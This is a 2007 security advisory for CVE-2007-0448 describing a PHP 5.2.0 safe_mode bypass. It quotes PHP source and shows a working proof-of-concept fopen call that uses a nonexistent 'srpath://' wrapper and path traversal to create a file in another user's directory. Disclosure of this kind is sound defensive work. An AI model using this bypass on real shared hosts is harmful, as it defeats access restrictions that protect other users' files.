Source: https://securityreason.com/achievement_securityalert/44

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[PHP 5.2.0 safe_mode bypass (by Writing Mode)]

Author: Maksymilian Arciemowicz (SecurityReason)
Date:
- - Written: 02.12.2006
- - Public: 24.01.2007
SecurityAlert Id: 44
CVE: CVE-2007-0448
SecurityRisk: High
Status: In progress
Affected Software: PHP 5.2.0
Advisory URL: https://securityreason.com/achievement_securityalert/44 [Soon]
Vendor: https://www.php.net

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.

A nice introduction to PHP by Stig Sather Bakken can be found at https://www.zend.com/zend/art/intro.php on the Zend website. Also, much  of the PHP Conference Material is freely available. 

- --- 1. safe_mode bypass by writing mode ---
In PHP 5.2.0 it is possible to bypass safe_mode using writing mode. Let's see fopen() function:

- -845-845--- Code from PHP520 ext/standard/file.c [START]
stream = php_stream_open_wrapper_ex(filename, mode, (use_include_path ? USE_PATH : 0) | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL, context);
- -845-845--- Code from PHP520 ext/standard/file.c [END]

Let's see to safe_mode.c

- -142-152--- Code from main/safe_mode.c [START]
    ret = VCWD_STAT(path, &sb);
    if (ret < 0) {
      if ((flags & CHECKUID_NO_ERRORS) == 0) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to access %s", filename);
      }
      return 0;
    }
    duid = sb.st_uid;
    dgid = sb.st_gid;
    if (duid == php_getuid()) {
      return 1;
- -142-152--- Code from main/safe_mode.c [END]

if duid == php_getuid(),  safe_mode is bypassed..

#define VCWD_STAT(path, buff) virtual_stat(path, buff TSRMLS_CC)

Let's see to virtual_stat() function.

- -831-845--- Code from TSRM/tsrm_virtual_cwd.c [START]
CWD_API int virtual_stat(const char *path, struct stat *buf TSRMLS_DC)
{
  cwd_state new_state;
  int retval;

  CWD_STATE_COPY(&new_state, &CWDG(cwd));
  if (virtual_file_ex(&new_state, path, NULL, 1)) {
    return -1;
  }

  retval = stat(new_state.cwd, buf);

  CWD_STATE_FREE(&new_state);
  return retval;
}
- -831-845--- Code from TSRM/tsrm_virtual_cwd.c [END]

So, we can try to create file /dir/pliczek. 

cxib# uname -a
FreeBSD cxib.laptop 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 08:43:30 UTC 2007     root@portnoy.cse.buffalo.edu:/usr/obj/usr/src/sys/SMP  amd64
cxib# php -r 'fopen("/dir/pliczek", "a");'

Warning: fopen(): SAFE MODE Restriction in effect.  The script whose uid is 1030 is not allowed to access /dir owned by uid 80 in Command line code on line 1

Warning: fopen(/dir/pliczek): failed to open stream: Invalid argument in Command line code on line 1
cxib# php -r 'fopen("compress.zlib://../../../../../../../dir/pliczek", "a");'

Warning: fopen(): SAFE MODE Restriction in effect.  The script whose uid is 1030 is not allowed to access /dir owned by uid 80 in Command line code on line 1

Warning: fopen(compress.zlib://../../../../../../../dir/pliczek): failed to open stream: Invalid argument in Command line code on line 1

cxib# php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");'
cxib# ls -la /dir/pliczek
- -rw-r--r--  1 cxib  www  0 Jan 19 21:26 /dir/pliczek

Works! 

srpath dosen't exist and if you are using write mode that safe_mode change path to file and duid == php_getuid().
For example.

fopen("compress.zlib://../../../../../../../dir/pliczek", "a");

Safe_mode is removed prefix and VCWD_STAT("/dir/pliczek", &sb);
Because you wound create file "pliczek" in directory "/dir", that is only permision do "dir" checked.

If you use

fopen("srpath://../../../../../../../dir/pliczek", "a");

wher srpath dosen't exists, that function stat is VCWD_STAT("/dir_wher_are_you/srpath:", &sb) return 1.

and stat() give you permision from dir "/dir_wher_are_you/".

This issue has been tested on FreeBSD 6.1 6.2 i386 and FreeBSD 6.1 6.2 amd64 with PHP 5.2.0 REL.
We have sent this bug to PHP Team, but this bug dosen't exist on PHP 5.2.1RC.

- --- 2. Greets ---

For: sp3x, Infospec
and
l5x, p_e_a, lorddav, pi3

- --- 3. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: cxib [at] securityreason [dot] com
GPG: https://securityreason.com/key/Arciemowicz.Maksymilian.gpg

Regards 
SecurityReason
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